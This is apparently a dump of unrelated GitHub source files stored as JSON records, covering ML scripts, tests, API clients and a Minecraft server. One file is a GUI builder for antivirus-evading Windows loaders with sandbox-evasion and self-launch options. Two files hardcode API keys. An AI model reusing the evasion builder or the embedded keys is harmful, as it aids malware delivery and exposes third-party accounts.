r\n\n def score(self, x):\n return self.H(self.muy(x), x)\n","repo_name":"minhtriet/knowledge_embed","sub_path":"harmon_net.py","file_name":"harmon_net.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24063231790","text":"import os\ndef rename_files():\n #(1) get file names from a folder\n path = '/Users/kseidl/Documents/Udacity/Python/prank/'\n file_list = os.listdir(path)\n os.chdir(path)\n print(file_list)\n\n #(2) for each file, rename filename\n for file_name in file_list:\n print(\"Old Name -\" +file_name)\n os.rename(file_name, file_name.translate(None, \"0 1 2 3 4 5 6 7 8 9\"))\n print(\"New Name -\" + file_name)\n \nrename_files()\n","repo_name":"KathiSR/LearningPython_Udacity","sub_path":"rename_files.py","file_name":"rename_files.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9805047793","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import stats\n\nif __name__ == \"__main__\":\n params = [0.5, 1, 2, 3]\n x = np.linspace(0, 1, 100)\n f, ax = plt.subplots(len(params), len(params), sharex=True, sharey=True)\n for i in range(4):\n for j in range(4):\n a = params[i]\n b = params[j]\n y = stats.beta(a, b).pdf(x)\n ax[i, j].plot(x, y)\n ax[i, j].plot(\n 0,\n 0,\n label=\"$\\\\alpha$ = {:3.2f}\\n$\\\\beta$ = {:3.2f}\".format(a, b),\n alpha=0,\n )\n ax[i, j].legend(fontsize=12)\n\n ax[3, 0].set_xlabel(\"$\\\\theta$\", fontsize=14)\n ax[0, 0].set_ylabel(\"$p(\\\\theta)$\", fontsize=14)\n plt.show()\n","repo_name":"tinylambda/keep","sub_path":"playground/stats/bayes/bayes_beta.py","file_name":"bayes_beta.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40060120707","text":"from gui import Ui_MainWindow\n\n#导入程序运行必须模块\nimport sys\nimport os\n#PyQt5中使用的基本控件都在PyQt5.QtWidgets模块中\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QFileDialog, QMessageBox\nfrom PyQt5.QtCore import Qt\n\n\nclass MyMainForm(QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n super(MyMainForm, self).__init__(parent)\n self.setupUi(self)\n self.pushButton_select.clicked.connect(self.open_file)\n self.pushButton_generator.clicked.connect(self.generator)\n\n def open_file(self):\n fileName, fileType = QFileDialog.getOpenFileName(\n self, \"选取文件\", os.path.dirname(__file__),\n \"All Files(*);;Text Files(*.txt)\")\n self.lineEdit_file_select.setText(fileName)\n\n def generator(self):\n print(\"i am generator\")\n os.chdir(os.path.dirname(__file__))\n f = open(\"config\", \"w\")\n f.write(self.lineEdit_file_select.text() + \"\\n\")\n if self.checkBox_selflaunch.checkState() == Qt.Checked:\n f.write(\"selflaunch:1\\n\")\n else:\n f.write(\"selflaunch:0\\n\")\n if self.checkBox_antisandbox.checkState() == Qt.Checked:\n f.write(\"antisandbox:1\\n\")\n else:\n f.write(\"antisandbox:0\\n\")\n f.write(self.comboBox_LoadMethed.currentText())\n f.close()\n is32 = \"\"\n if self.checkBox_is32.checkState() == Qt.Checked:\n is32 = \"-m32\"\n os.system(r\"g++ load/{}.cpp {} -mwindows --static -o bin/{}\".format(\n self.comboBox_LoadMethed.currentText(), is32,\n self.comboBox_LoadMethed.currentText()))\n os.system(r\".\\load\\myMiansha.exe\")\n if (os.path.exists(r\"bin/{}.exe\".format(\n self.comboBox_LoadMethed.currentText()))):\n QMessageBox.about(self, \"succeed\", \"已生成在bin目录中\")\n else:\n QMessageBox.about(self, \"Failed\", \"生成错误\")\n\n\nif __name__ == \"__main__\":\n #固定的,PyQt5程序都需要QApplication对象。sys.argv是命令行参数列表,确保程序可以双击运行\n app = QApplication(sys.argv)\n #初始化\n myWin = MyMainForm()\n #将窗口控件显示在屏幕上\n myWin.show()\n #程序运行,sys.exit方法确保程序完整退出。\n sys.exit(app.exec_())","repo_name":"s1vona/myAntiAV","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"36200546187","text":"import unittest\nimport tracemalloc\nimport asyncio\nfrom unittest.mock import AsyncMock, patch\nfrom fastapi.testclient import TestClient\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom src.schemas import UserDb, UpdateUserProfileModel\nfrom src.routes.user_profile import profile_router\nfrom src.database.models import User\nfrom src.services.auth import auth_service\nfrom src.conf.config import settings\nfrom datetime import datetime\n\ntracemalloc.start()\n\nclass TestProfileRouter(unittest.TestCase):\n \"\"\"\n Unit tests for the user profile router.\n\n This class contains test cases for the profile router functionality,\n including getting user profiles, updating user profiles, and handling\n various error scenarios.\n \"\"\"\n def setUp(self) -> None:\n \"\"\"\n Set up the test environment before each test case.\n \"\"\"\n self.session = AsyncMock(spec=AsyncSession())\n\n def tearDown(self) -> None:\n \"\"\"\n Clean up the test environment after each test case.\n \"\"\"\n del self.session\n\n async def test_get_user_profile(self):\n \"\"\"\n Test the GET request to retrieve a user profile.\n\n This test case mocks the database interaction and checks if the expected\n user profile data is returned in the response.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n mock_user = UserDb(\n id=1,\n role_id=1,\n first_name=\"John\",\n last_name=\"Doe\",\n created_at=datetime.utcnow(),\n avatar=\"path/to/avatar\",\n username=\"testuser\",\n email=\"test@example.com\",\n )\n mock_db = AsyncMock(spec=AsyncSession())\n mock_db.execute.return_value.scalars().first.return_value = mock_user\n\n with patch(\"src.repository.users.get_user_by_username\", return_value=mock_user):\n response = await self.client.get(\"/profile/testuser\")\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json(), mock_user.dict())\n\n async def test_get_nonexistent_user_profile(self):\n \"\"\"\n Test the GET request to retrieve a nonexistent user profile.\n\n This test case mocks the database interaction and checks if a 404 response\n is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n with patch(\"src.repository.users.get_user_by_username\", return_value=None):\n response = await self.client.get(\"/profile/nonexistentuser\")\n\n self.assertEqual(response.status_code, 404)\n self.assertEqual(response.json(), {\"detail\": \"User not found\"})\n\n async def test_get_own_profile_unauthorized(self):\n \"\"\"\n Test the GET request to retrieve the user's own profile when unauthorized.\n\n This test case mocks the authentication service and checks if a 401 response\n is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n with patch(\"src.services.auth_service.get_current_user\", return_value=None):\n response = await self.client.get(\"/profile/me/\")\n\n self.assertEqual(response.status_code, 401)\n self.assertEqual(response.json(), {\"detail\": \"Not authenticated\"})\n\n async def test_update_own_profile_invalid_data(self):\n \"\"\"\n Test the PUT request to update the user's own profile with invalid data.\n\n This test case mocks the authentication service and checks if a 401 response\n is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n mock_update_data = UpdateUserProfileModel(username=\"newusername\")\n with patch(\"src.services.auth_service.get_current_user\", return_value=None):\n response = await self.client.put(\"/profile/me/\", json=mock_update_data.dict())\n\n self.assertEqual(response.status_code, 401)\n self.assertEqual(response.json(), {\"detail\": \"Not authenticated\"})\n\n async def test_update_user_avatar_invalid_file(self):\n \"\"\"\n Test the PATCH request to update the user's avatar with an invalid file.\n\n This test case mocks the cloudinary upload and user repository functions and\n checks if a 400 response is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n with patch(\"cloudinary.uploader.upload\", side_effect=Exception(\"Invalid file\")), \\\n patch(\"src.repository.users.update_avatar\", return_value=None):\n response = await self.client.patch(\"/profile/avatar\", files={\"file\": (\"test.txt\", b\"invalidfile\")})\n\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.json(), {\"detail\": \"Invalid file format\"})\n\n async def test_update_password_invalid_token(self):\n \"\"\"\n Test the PATCH request to update the user's password with an invalid token.\n\n This test case mocks the authentication service and checks if a 400 response\n is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n mock_new_password_data = {\"new_password\": \"newpass\", \"confirm_password\": \"newpass\", \"token\": \"invalidtoken\"}\n with patch(\"src.services.auth_service.get_email_from_token\", side_effect=Exception(\"Invalid token\")):\n response = await self.client.patch(\"/profile/update-password\", json=mock_new_password_data)\n\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.json(), {\"detail\": \"Invalid token\"})\n\n async def test_update_email_user_not_found(self):\n \"\"\"\n Test the PATCH request to update the user's email when the user is not found.\n\n This test case mocks the authentication service and user repository functions\n and checks if a 404 response is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n mock_new_email_data = {\"new_email\": \"newemail@example.com\", \"token\": \"mocktoken\"}\n with patch(\"src.services.auth_service.get_email_from_token\", return_value=\"test@example.com\"), \\\n patch(\"src.repository.users.get_user_by_email\", return_value=None):\n response = await self.client.patch(\"/profile/update-email\", json=mock_new_email_data)\n\n self.assertEqual(response.status_code, 404)\n self.assertEqual(response.json(), {\"detail\": \"User not found\"})\n\n async def test_update_user_role_invalid_role(self):\n \"\"\"\n Test the PUT request to update the user's role with an invalid role.\n\n This test case mocks the role repository function and checks if a 404 response\n is returned with the appropriate detail.\n\n Raises:\n - AssertionError: If the response status code or content is unexpected.\n \"\"\"\n mock_role_data = {\"role_id\": 99, \"username\": \"testuser\"}\n with patch(\"src.repository.roles.get_role\", return_value=None):\n response = await self.client.put(\"/profile/role\", data=mock_role_data)\n\n self.assertEqual(response.status_code, 404)\n self.assertEqual(response.json(), {\"detail\": \"Role not found\"})\n\nif __name__ == \"__main__\":\n asyncio.run(unittest.main())","repo_name":"GkiriChen/test_proect_14_2_web","sub_path":"tests/test_user_profile.py","file_name":"test_user_profile.py","file_ext":"py","file_size_in_byte":7601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10403634666","text":"import logging\nfrom flask import jsonify\nfrom bank_api.database import db\nfrom bank_api.models.user import User\nfrom flask_restful import Resource\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\n\nHOME_ENDPOINT = \"/home\"\nlogger = logging.getLogger(__name__)\n\nclass HomeResource(Resource):\n @jwt_required()\n def get(self):\n username = get_jwt_identity()\n user = db.one_or_404(\n db.select(User).filter_by(username = username),\n description=f\"No user named '{username}'\")\n user_dict = user.__dict__\n user_dict.pop('_sa_instance_state')\n user_dict.pop('id')\n user_dict.pop('password')\n user_dict.pop('code')\n user_dict['birthday'] = user_dict['birthday'].strftime(\"%Y-%m-%d\")\n #print(user_dict)\n return jsonify(user_dict)\n","repo_name":"aolguin89/banking-api","sub_path":"bank_api/resources/home_resource.py","file_name":"home_resource.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23110621601","text":"from argparse import ArgumentParser\nfrom common.util import load_hyperparams, merge_dict, one_hot_encode\nimport numpy as np\nimport os\nfrom tensorflow.contrib import learn\nfrom text_classification_benchmarks.data_loader import clean_data, load_data, remove_classes_with_too_few_examples\nfrom text_classification_benchmarks.word_cnn.model_setup import TextCNN\nfrom text_classification_benchmarks.word_cnn.util import preprocess, save_eval_to_csv, test, train\n\n\ndef run(constant_overwrites):\n config_path = os.path.join(os.path.dirname(__file__), 'hyperparams.yml')\n constants = merge_dict(load_hyperparams(config_path), constant_overwrites)\n train_df, val_df, test_df, classes = load_data(dirname=constants['data_dir'])\n train_df = remove_classes_with_too_few_examples(clean_data(train_df))\n val_df = remove_classes_with_too_few_examples(clean_data(val_df))\n n_classes = len(classes)\n batch_size = constants['batch_size']\n allow_soft_placement = constants['allow_soft_placement']\n log_device_placement = constants['log_device_placement']\n if constants['test']:\n print('\\nTesting...')\n x_raw = val_df.utterance.values\n checkpoint_dir = constants['checkpoint_dir']\n vocab_path = os.path.join(checkpoint_dir, '..', 'vocab')\n vocab_processor = learn.preprocessing.VocabularyProcessor.restore(vocab_path)\n x_test = np.array(list(vocab_processor.transform(x_raw)))\n # y_test = one_hot_encode(val_df.label.values, n_classes)\n y_test = val_df.label.values\n preds = test(x_test, batch_size, checkpoint_dir, allow_soft_placement, log_device_placement, y_test)\n save_eval_to_csv(x_raw, preds, checkpoint_dir)\n else:\n print('\\nTraining...')\n x_train, y_train, x_val, y_val, vocab_processor = preprocess(train_df, val_df, n_classes)\n # model = TextCNN(seq_len=x_train.shape[1], n_classes=y_train.shape[1],\n # vocab_size=len(vocab_processor.vocabulary_),\n # embed_size=constants['embed_size'],\n # filter_sizes=constants['filter_sizes'],\n # n_filters=constants['n_filters'],\n # l2_reg_lambda=constants['l2_reg_lambda'])\n train(x_train, y_train, x_val, y_val, vocab_processor, model=None,\n learning_rate=constants['learning_rate'],\n n_checkpoints=constants['n_checkpoints'],\n keep_prob=constants['keep_prob'],\n batch_size=batch_size,\n n_epochs=constants['n_epochs'],\n evaluate_every=constants['evaluate_every'],\n checkpoint_every=constants['checkpoint_every'],\n allow_soft_placement=allow_soft_placement,\n log_device_placement=log_device_placement,\n constants=constants)\n\n\nif __name__ == '__main__':\n # read args\n parser = ArgumentParser(description='Run Word-CNN Classifier')\n parser.add_argument('--epochs', dest='n_epochs', type=int, help='number epochs')\n parser.add_argument('--batch-size', dest='batch_size', type=int, help='batch size')\n parser.add_argument('--embedding-size', dest='embed_size', type=int, help='embedding size')\n parser.add_argument('--filter-sizes', dest='filter_sizes', type=str, help='comma-separated filter sizes')\n parser.add_argument('--learning-rate', dest='learning_rate', type=float, help='learning rate')\n parser.add_argument('--data-dir', dest='data_dir', type=str, help='relative path to data')\n parser.add_argument('--checkpoint-dir', dest='checkpoint_dir', type=str,\n help='checkpoint directory from training run')\n parser.add_argument('--word2vec-filename', dest='word2vec_filename', type=str,\n help='path to word2vec embeddings file')\n parser.add_argument('--test', dest='test',\n help='run eval on the test dataset using a fixed checkpoint', action='store_true')\n parser.set_defaults(test=False)\n args = parser.parse_args()\n args_dict = vars(args)\n if args_dict['filter_sizes']:\n args_dict['filter_sizes'] = [x for x in args_dict['filter_sizes'].split(',')]\n\n run(args_dict)\n","repo_name":"markmo/dltemplate","sub_path":"src/text_classification_benchmarks/word_cnn/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"21"} +{"seq_id":"29501606911","text":"#!/usr/bin/env python3\n\nAPI=\"qervegelclrmbvcdhpvvmebpnyxgjknysayt\"\nHOST=\"172.31.255.30\"\nPORT=3324\n\nimport LedgerCompliance.client\nimport string\nimport random\nimport time\n\ncli=LedgerCompliance.client.Client(API, HOST, PORT)\ncli.connect()\n\ndef get_random_string(length):\n letters = string.ascii_lowercase\n ret = ''.join(random.choice(letters) for i in range(length))\n return ret\n\nKEY=\"LC_history\".encode('ascii')\nfor i in range(0,10):\n\tcli.set(KEY, get_random_string(16).encode('ascii'))\n\nret=cli.history(KEY)\nfor h in ret:\n\tprint(\"{:d}: {:s}\".format(h.index, h.value.decode('ascii')))\n","repo_name":"vchain-us/ledger-compliance-py","sub_path":"examples/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"40453110787","text":"import keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nimport pickle, os\nimport numpy as np\nfrom Naked.toolshed.shell import muterun_js\nimport sys\nimport requests, random\nimport tensorflow as tf\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n\ndef save_model(filename, model):\n pickle.dump(model, open(filename, 'wb'))\n\ndef load_model(filename):\n return pickle.load(open(filename, 'rb'))\n\n\ndef get_score(ip):\n url = \"https://ipqualityscore.com/api/json/ip/F5FEG8NGn0stGDfizWPf7ylxu3iNqnX4/\" + ip\n response = requests.get(url).json()\n # print(response)\n return response['fraud_score']\n\n\ndef get_inputs(path, file_name, ip):\n os.chdir(path)\n file = os.path.join(path, file_name)\n x = file_name + ' ' + ip\n output = muterun_js(x)\n s = output.stdout\n s = str(s).strip()[2:-3]\n print(s)\n return s\n\n\ndef retrain(ip_list):\n\n model_folder = \"../ai-server/models\"\n\n model_names = os.listdir(model_folder)\n models = []\n\n for m in model_names:\n model_path = os.path.join(model_folder, m)\n model = load_model(model_path)\n models.append(model)\n\n\n curr_dir = os.getcwd()\n os.chdir(curr_dir)\n inp_folder = \"../whois\"\n file_name = \"getInspectorScores.js\"\n\n\n x_train, y_train = [], []\n\n random.shuffle(ip_list)\n\n for ip in ip_list[:3]:\n inputs = get_inputs(inp_folder, file_name, ip).split()\n\n x = list(map(float, inputs))\n # print(x)\n try:\n y = int(get_score(ip))\n except:\n continue\n\n y = np.array(y)\n\n x_train.append(x)\n y_train.append(y)\n\n\n x_train, y_train = np.array(x_train), np.array(y_train)\n # print(x_train.shape, y_train.shape)\n\n for model in models:\n model.fit(x_train, y_train, batch_size=10, nb_epoch=30)\n\n print(\"Model Trained!\")","repo_name":"dyingg/rk311_infowise-pub-","sub_path":"src/main/scraper-module/AI_retrain.py","file_name":"AI_retrain.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"36243271462","text":"from __future__ import absolute_import\n\nfrom requests.exceptions import HTTPError\nfrom sentry.http import build_session\nfrom sentry.utils.http import absolute_uri\n\nfrom sentry_plugins.exceptions import ApiError\n\n# https://v2.developer.pagerduty.com/docs/events-api\nINTEGRATION_API_URL = \\\n 'https://events.pagerduty.com/generic/2010-04-15/create_event.json'\n\n\nclass PagerDutyClient(object):\n client = 'sentry'\n\n def __init__(self, service_key=None):\n self.service_key = service_key\n\n def request(self, data):\n payload = {\n 'service_key': self.service_key,\n }\n payload.update(data)\n\n session = build_session()\n try:\n resp = session.post(\n url=INTEGRATION_API_URL,\n json=payload,\n allow_redirects=False,\n )\n resp.raise_for_status()\n except HTTPError as e:\n raise ApiError.from_response(e.response)\n return resp.json()\n\n def trigger_incident(self, description, event_type, details, incident_key,\n client=None, client_url=None, contexts=None):\n return self.request({\n 'event_type': event_type,\n 'description': description,\n 'details': details,\n 'incident_key': incident_key,\n 'client': client or self.client,\n 'client_url': client_url or absolute_uri(),\n 'contexts': contexts,\n })\n","repo_name":"Mattlk13/sentry","sub_path":"src/sentry_plugins/pagerduty/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37084620241","text":"import cv2\nimport os\nimport numpy as np\n\ndef heatmap_percentage(image_path, lower_threshold, upper_threshold):\n image = cv2.imread(image_path)\n hsv_image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n\n mask = cv2.inRange(hsv_image, lower_threshold, upper_threshold)\n heatmap_pixels = np.count_nonzero(mask)\n\n total_pixels = image.shape[0] * image.shape[1]\n percentage = (heatmap_pixels / total_pixels) * 100\n\n return percentage\n\ndef max_heatmap_coordinates(image_path, lower_threshold, upper_threshold):\n image = cv2.imread(image_path)\n hsv_image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n\n mask = cv2.inRange(hsv_image, lower_threshold, upper_threshold)\n max_intensity = np.max(mask)\n max_coordinates = np.argwhere(mask == max_intensity)\n\n return max_coordinates\n\nroot_directory = './Results'\n\nred_lower_threshold = np.array([0, 70, 150])\nred_upper_threshold = np.array([10, 255, 255])\n\nyellow_lower_threshold = np.array([20, 100, 150])\nyellow_upper_threshold = np.array([35, 255, 255])\n\ngreen_lower_threshold = np.array([60, 90, 120])\ngreen_upper_threshold = np.array([80, 255, 255])\n\nfor directory, _, files in os.walk(root_directory):\n for filename in os.listdir(directory):\n if filename.endswith(\".jpg\") or filename.endswith(\".png\"):\n image_path = os.path.join(directory, filename)\n\n red_percentage = heatmap_percentage(image_path, red_lower_threshold, red_upper_threshold)\n yellow_percentage = heatmap_percentage(image_path, yellow_lower_threshold, yellow_upper_threshold)\n green_percentage = heatmap_percentage(image_path, green_lower_threshold, green_upper_threshold)\n\n print(f\"Percentage of heatmap coverage in {directory}/{filename}:\")\n print(f\" Red: {red_percentage:.2f}%\")\n print(f\" Yellow: {yellow_percentage:.2f}%\")\n print(f\" Green: {green_percentage:.2f}%\")\n\n for filename in os.listdir(directory):\n if filename.endswith(\".jpg\") or filename.endswith(\".png\"):\n image_path = os.path.join(directory, filename)\n\n red_coordinates = max_heatmap_coordinates(image_path, red_lower_threshold, red_upper_threshold)\n yellow_coordinates = max_heatmap_coordinates(image_path, yellow_lower_threshold, yellow_upper_threshold)\n green_coordinates = max_heatmap_coordinates(image_path, green_lower_threshold, green_upper_threshold)\n\n print(f\"Coordinates of most intense heatmap colors in {directory}/{filename}:\")\n print(f\" Red: {red_coordinates}\")\n print(f\" Yellow: {yellow_coordinates}\")\n print(f\" Green: {green_coordinates}\")\n","repo_name":"polo-sec/heatmap_image_density_analyser","sub_path":"heatmap_image_density_analyser.py","file_name":"heatmap_image_density_analyser.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74493555254","text":"import sys\nif sys.version_info.major < 3 or sys.version_info.minor < 10:\n raise Exception(\"Python Version Out Of Date! Minimum Required: 3.10.0\")\n\nimport argparse\nimport asyncio\nimport signal\nimport traceback\n\nfrom obsidian.server import Server\nfrom obsidian.log import Logger\n\n\nasync def main():\n # Initiate Argument Parser\n parser = argparse.ArgumentParser(description=\"Project Obsidian - Open Source Minecraft Classic Server Reverse Engineer And Reimplementation Project\")\n # parser.add_argument('-x', \"--TEMPLATE\", type=int, nargs='?', help=\"TEMPLATE\", default=TEMPLATE)\n parser.add_argument('-a', \"--address\", type=str, nargs='?', help=\"The Address The Minecraft Server Would Bind To.\", default=\"0.0.0.0\")\n parser.add_argument('-p', \"--port\", type=int, nargs='?', help=\"The Port The Minecraft Server Would Bind To.\", default=25565)\n parser.add_argument('-n', \"--name\", type=str, nargs='?', help=\"The Name Of The Minecraft Server\", default=\"Minecraft Server\")\n parser.add_argument('-m', \"--motd\", type=str, nargs='?', help=\"The MOTD Of The Minecraft Server\", default=\"Python Server Implementation\")\n parser.add_argument('-d', \"--debug\", help=\"Enable Debug Logging\", action=\"store_true\")\n parser.add_argument('-v', \"--verbose\", help=\"Increase Debug Output Verbosity\", action=\"store_true\")\n parser.add_argument('-q', \"--quiet\", help=\"Disabled Logging To File\", action=\"store_true\")\n parser.add_argument('-s', \"--server\", help=\"Auto-Denys Confirmation Dialogs\", action=\"store_true\")\n parser.add_argument('-nc', \"--no-color\", help=\"Disable Color While Logging\", action=\"store_true\")\n args = parser.parse_args()\n\n # Set Logging Levels\n Logger.DEBUG = args.debug\n Logger.VERBOSE = args.verbose\n Logger.SERVER_MODE = args.server\n Logger.COLOR = not args.no_color\n\n # Set Up Logging File\n if not args.quiet:\n Logger.setupLogFile()\n\n # Create and Init Main Server\n server = Server(args.address, args.port, args.name, args.motd, color=True)\n await server.init()\n asyncio.create_task(server.run())\n\n # Capture and Handle Crl-C\n signal.signal(\n signal.SIGINT,\n server.asyncStop # Use this function to run async stop from outside async\n )\n\n # Capture SIGTERM and handle it\n if hasattr(signal, \"SIGTERM\"):\n signal.signal(\n signal.SIGTERM,\n server.asyncStop # Use this function to run async stop from outside async\n )\n\n # Capture SIGQUIT and handle it\n if hasattr(signal, \"SIGQUIT\"):\n signal.signal(\n signal.SIGQUIT,\n server.asyncStop # Use this function to run async stop from outside async\n )\n\n # Busy Operation To Keep Main Thread Alive\n # In the future, this would be dominated by a console thread\n while True:\n await asyncio.sleep(1)\n\n\n# Make sure main gets asynced when run\nif __name__ == \"__main__\":\n try:\n asyncio.run(main())\n except Exception as e:\n Logger.fatal(f\"Unhandled Server Exception - {type(e).__name__}: {e}\", module=\"main\", printTb=False)\n traceback.print_exc()\n","repo_name":"EdwardJXLi/ProjectObsidian","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"} +{"seq_id":"42119894052","text":"# -*- coding: utf-8 -*-\n\"\"\"Module compliance_suite.functions.schema.py\n\nFunctions to create dynamic JSON schemas according to test case. Each function\nin this module should write a temporary JSON schema file that is used in the \nvalidation section of API testing and return its filename\n\"\"\"\n\nimport compliance_suite.config.constants as c\nimport compliance_suite.schema_validator as sv\nimport json\nimport os\n\ndef render_and_write_temp_schema(output_filename, template, replace_l):\n \"\"\"Write a temporary schema file\n \n Renders a temporary schema file from a template. Each element in the \n replacement list indicates a string to replace in the template file, as\n well as what to replace it with\n\n Arguments:\n output_filename (str): output file path\n template (str): JSON schema template filename\n replace_l (list): replacement list\n \"\"\"\n\n # open the template schema\n schema_dir = os.path.dirname(sv.__file__) \\\n + \"/\" + c.SCHEMA_RELATIVE_DIR\n template_file = schema_dir + \"/\" + template\n json = open(template_file, \"r\").read()\n\n # for each item in the replacement list, replace the placeholder text\n # in the template, with the true value to be output to the temporary\n # schema\n for replace in replace_l:\n json = json.replace(replace[0], replace[1])\n\n # write the temporary schema file\n out_path = schema_dir + \"/\" + output_filename\n open(out_path, \"w\").write(json)\n\ndef render_endpoint_object_and_array(obj_filename, obj_template, obj_replace_l,\n arr_filename, arr_template, arr_replace_l, value, full=False):\n \"\"\"Render a temporary schema object, and an array full of temp objects\n\n Arguments:\n obj_filename (str): filename for object\n obj_template (str): JSON schema template file for object\n obj_replace_l (list): replacement list for object\n arr_filename (str): filename for array\n arr_template (str): JSON schema template file for array\n arr_replace_l (list): replacement list for array\n value (str): value to differentiate temp file\n full (bool): if full, set minItems to 1 for the array schema\n \"\"\"\n \n # render the object schema\n render_and_write_temp_schema(obj_filename, obj_template, obj_replace_l)\n\n if full:\n arr_replace_l.append(['\"minItems\": 0', '\"minItems\": 1'])\n\n # render the array schema\n render_and_write_temp_schema(arr_filename, arr_template, arr_replace_l)\n\ndef schema_require_matching_id(runner, node, params):\n \"\"\"Generate schema that requires request id to match response id\n\n Arguments:\n runner (Runner): reference to Runner object\n node (Node): reference to Node object\n params (dict): test case parameters\n \n Returns:\n (str): file path for temporary schema\n \"\"\"\n\n template = \"rnaget-reqid-template.json\"\n schemas_by_obj_type = {\n \"projects\": \"rnaget-project.json\",\n \"studies\": \"rnaget-study.json\",\n \"expressions\": \"rnaget-expression.json\",\n \"continuous\": \"rnaget-continuous.json\"\n }\n\n obj_type = node.kwargs[\"obj_type\"]\n obj_id = node.kwargs[\"obj_instance\"][\"id\"]\n output_filename = \"temp.\" + obj_type + \".\" + obj_id + \".reqid.json\"\n\n replace_l = [\n [\"VAR_FILENAME\", output_filename],\n [\"VAR_REF\", schemas_by_obj_type[obj_type]],\n [\"VAR_ID\", obj_id]\n ]\n render_and_write_temp_schema(output_filename, template, replace_l)\n return output_filename\n\ndef schema_require_matching_search_params(runner, node, params, full=True):\n \"\"\"Generate schema requiring matching search params and response params\n\n Arguments:\n runner (Runner): reference to Runner object\n node (Node): reference to Node object\n params (dict): test case parameters\n full (bool): if true, create array schema requiring at least 1 element\n \n Returns:\n (str): file path for temporary schema\n \"\"\"\n\n schemas_by_obj_type = {\n \"projects\": \"rnaget-project.json\",\n \"studies\": \"rnaget-study.json\",\n \"expressions\": \"rnaget-ticket.json\",\n \"continuous\": \"rnaget-ticket.json\"\n }\n array_or_single_by_obj_type = {\n \"projects\": \"array\",\n \"studies\": \"array\",\n \"expressions\": \"single\",\n \"continuous\": \"single\"\n }\n\n obj_type = node.kwargs[\"obj_type\"]\n obj_id = node.kwargs[\"obj_instance\"][\"id\"]\n\n obj_template = \"rnaget-reqsearchparams-template.json\"\n arr_template = \"rnaget-reqsearchparams-array-template.json\"\n obj_filename = \"temp.\" + obj_type + \".\" + obj_id + \".reqsearchparams.json\"\n arr_filename = \"temp.\" + obj_type + \".\" + obj_id + \\\n \".reqsearchparams.array.json\"\n\n # format search parameters as JSON schema that can be subbed into the file\n params_json_schema = []\n for param_key in params.keys():\n if param_key != \"tags\":\n property_key = \"fileType\" if param_key == \"format\" else param_key\n properties = {\n \"type\": \"string\",\n \"enum\": [params[param_key]]\n }\n\n params_json_schema.append('\"%s\": %s' % (\n property_key, json.dumps(properties)))\n\n obj_replace_l = [\n [\"VAR_FILENAME\", obj_filename],\n [\"VAR_REF\", schemas_by_obj_type[obj_type]],\n ['\"VAR_SEARCH_PARAMS\": {}', \",\".join(params_json_schema)]\n ]\n arr_replace_l = [\n [\"VAR_ARRAY_FILENAME\", arr_filename],\n [\"VAR_SINGLE_FILENAME\", obj_filename]\n ]\n value = \"1\"\n\n render_endpoint_object_and_array(obj_filename, obj_template, obj_replace_l,\n arr_filename, arr_template, arr_replace_l, value, full=full)\n\n ret = arr_filename\n if array_or_single_by_obj_type[obj_type] == \"single\":\n ret = obj_filename\n \n return ret\n\ndef schema_require_matching_search_params_allow_empty(runner, node, params):\n \"\"\"Generate schema requiring matching params, allow empty arrays\n\n Arguments:\n runner (Runner): reference to Runner object\n node (Node): reference to Node object\n params (dict): test case parameters\n \n Returns:\n (str): file path for temporary schema\n \"\"\"\n\n return schema_require_matching_search_params(runner, node, params,\n 